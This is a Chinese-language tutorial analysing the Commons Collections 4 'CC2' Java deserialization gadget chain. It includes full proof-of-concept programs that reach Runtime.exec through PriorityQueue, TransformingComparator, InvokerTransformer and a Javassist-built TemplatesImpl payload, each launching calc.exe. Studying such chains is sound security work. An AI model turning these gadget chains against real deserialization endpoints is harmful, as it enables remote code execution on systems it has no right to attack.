CC2

前言

CC2这条链在后面几条链中还会用到,详细的写一下

利用链

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链1分析

跟着利用链,首先看看PriorityQueue.readObject()

图片

这里的queue[i]是从readObject得到的,再看看writeObject

图片

writeObject中依次将queue[i]进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]赋值,就实现了对queue[i]的控制。

最后调用了heapify方法,跟进:

图片

i>=0时进入for循环,而i=(size >>> 1) -1将size进行了右移操作,所以size>1才能进入循环。

再跟进siftDown方法

图片

x就是queue[i],跟进siftDownUsingComparator方法:

图片

重点在comparator.compare(x, (E) c)

跟进可以看到Comparator是一个接口,compare是它的抽象方法;

图片

CC2利用链中TransformingComparator类实现了compare方法

图片

该方法中调用了this.transformer.transform()方法,看到这里,就有点熟悉了,this.transformer又是我们可控的,后面的理解和CC1差不多了

POC1分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

queue.add(1);
queue.add(2);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

通过反射获取Runtime对象;

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;

将transformerChain传入TransformingComparator,从而调用transformer方法;

new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。

1
2
3
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。

1
2
queue.add(1);
queue.add(2);

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

图片

继续跟,跟进queue.add(2),调用了offer方法;

图片

跟进offer方法,进入else分支,调用了siftUp方法;

图片

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

图片

继续跟,来到重点代码

图片

跟进,这里会执行两次命令

图片

但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。

那么如何让return不为0呢。

既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable方法,即comparator参数为null,修改代码,不传入comparator参数

1
PriorityQueue queue = new PriorityQueue(1);

再调试看看;
这下comparator参数就为null;

图片

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

图片

这样就只是单纯给queue[1]赋值,并不会调用compare方法

图片

返回后就执行序列化代码,但是并没有执行命令,还要改进;

代码4

上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数;

1
2
3
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法时就会进入siftDownUsingComparator方法,调用compare方法,从而执行命令。
图片

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Javassit补充

简述:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。

能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。

Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
  • CtClass*

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);
  • 示例代码*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javassist.*;

public class javassit_test {

public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}

public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}

新生成的类是这样子的,其中有一块static代码;
图片

当该类被实例化的时候,就会执行static里面的语句;

利用链2分析

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

先给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

1
2
3
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");

代码2
实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

代码3
这里就要用到javassit的知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块
代码4

使用TemplatesImpl的空参构造方法实例化一个对象;

再通过反射对个字段进行赋值,为什么要这样赋值下面再说;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

代码6
通过反射给queue的comparator参数赋值;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
图片

跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象

图片

到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的transformer

图片

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法

图片

接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer()

跟踪该方法;

图片

继续跟踪getTransletInstance方法;

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;

这就是代码4中赋值的原因;

图片

跟进defineTransletClasses方法;

图片

_bytecodes也不能为null,是我们传入的targetByteCodes,也就是代码3的内容

继续往下

通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类

图片

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代码3中要设置AbstractTranslet类为新建类的父类;

_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象